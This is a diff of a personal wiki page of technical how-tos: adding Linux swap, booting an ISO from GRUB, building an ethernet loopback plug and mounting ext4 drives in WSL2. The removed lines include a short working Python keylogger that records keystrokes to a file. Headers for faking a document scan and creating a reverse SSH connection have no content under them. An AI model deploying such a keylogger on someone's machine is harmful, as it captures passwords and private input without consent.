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--- howtos [2022-12-05 19:40] – asdf
+++ howtos [2024-03-10 00:10] (current) – [Add Linux swap space] asdf
@@ Line 2: / Line 2: @@
 Instructions for performing tasks that I do often enough to need to know but infrequently enough to never remember the details.
-===== Fake a document scan =====
 ===== Add Linux swap space =====
-===== Create a reverse SSH connection =====
+These commands should all be performed with root permissions. The instructions below assume a destination path of ''/swapfile'' and file size of 1 GiB.
-===== Log keys in Python =====
-<code python>
-from pynput.keyboard import Key, Listener
-import logging
-logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
+First, allocate space:
-def on_press(key):
+<code bash>
-    logging.info(str(key))
+fallocate -l 1G /swapfile
+# alternatively
-with Listener(on_press=on_press) as listener:
+dd if=/dev/zero of=/swapfile bs=1024 count=1048576
-    listener.join()
 </code>
+Ensure only root can read the swap file's contents:
+<code bash>
+chmod 600 /swapfile
+</code>
+Finally, activate and enable the swap file:
+<code bash>
+mkswap /swapfile
+swapon /swapfile
+</code>
+To have the swap automount on boot, add the following to ''/etc/fstab'':
+<code>
+/swapfile swap swap defaults 0 0
+</code>
+===== Boot an ISO from GRUB =====
+Adapted from [[https://forum.manjaro.org/t/howto-boot-manjaro-iso-directly-with-grub/15892]]. Run the following commands from the GRUB2 prompt.
+<code>
+set isofile="/path/to/isofile.iso"
+set dri="free"
+set lang="en_US"
+set keytable="us"
+set timezone="America/Los_Angeles"
+search --no-floppy -f --set=root $isofile
+probe -u $root --set=abc
+set pqr="/dev/disk/by-uuid/$abc"
+loopback loop $isofile
+linux (loop)/boot/vmlinuz-x86_64 img_dev=$pqr img_loop=$isofile driver=$dri tz=$timezone lang=$lang keytable=$keytable copytoram
+initrd (loop)/boot/intel_ucode.img (loop)/boot/initramfs-x86_64.img
+</code>
+Adjust ''intel_ucode.img'' to ''amd_ucode.img'' for AMD CPUs.
+Note that the [[GreatFET]] has Facedancer capabilities, so it should be possible to use it to emulate a mass storage device with the ISO as the source and boot that instead.
+===== Make an ethernet loopback connector =====
+This trick works with either a socket or a plug. Connect the following pins:
+  * 1 <-> 3
+  * 2 <-> 6
+  * 4 <-> 7
+  * 5 <-> 8
+===== Mount an ext4 drive in WSL2 =====
+Open a PowerShell window as an administrator, then run the following command to list available disk drives:
+<code powershell>
+GET-CimInstance -query "SELECT * from Win32_DiskDrive"
+</code>
+Locate the desired entry, then attach it to the WSL instance:
+<code powershell>
+wsl --mount \\.\PHYSICALDRIVE2
+</code>
+Finally, locate and mount the disk within the WSL instance.
+https://learn.microsoft.com/en-us/windows/wsl/wsl2-mount-disk
+===== Fake a document scan =====
+===== Create a reverse SSH connection =====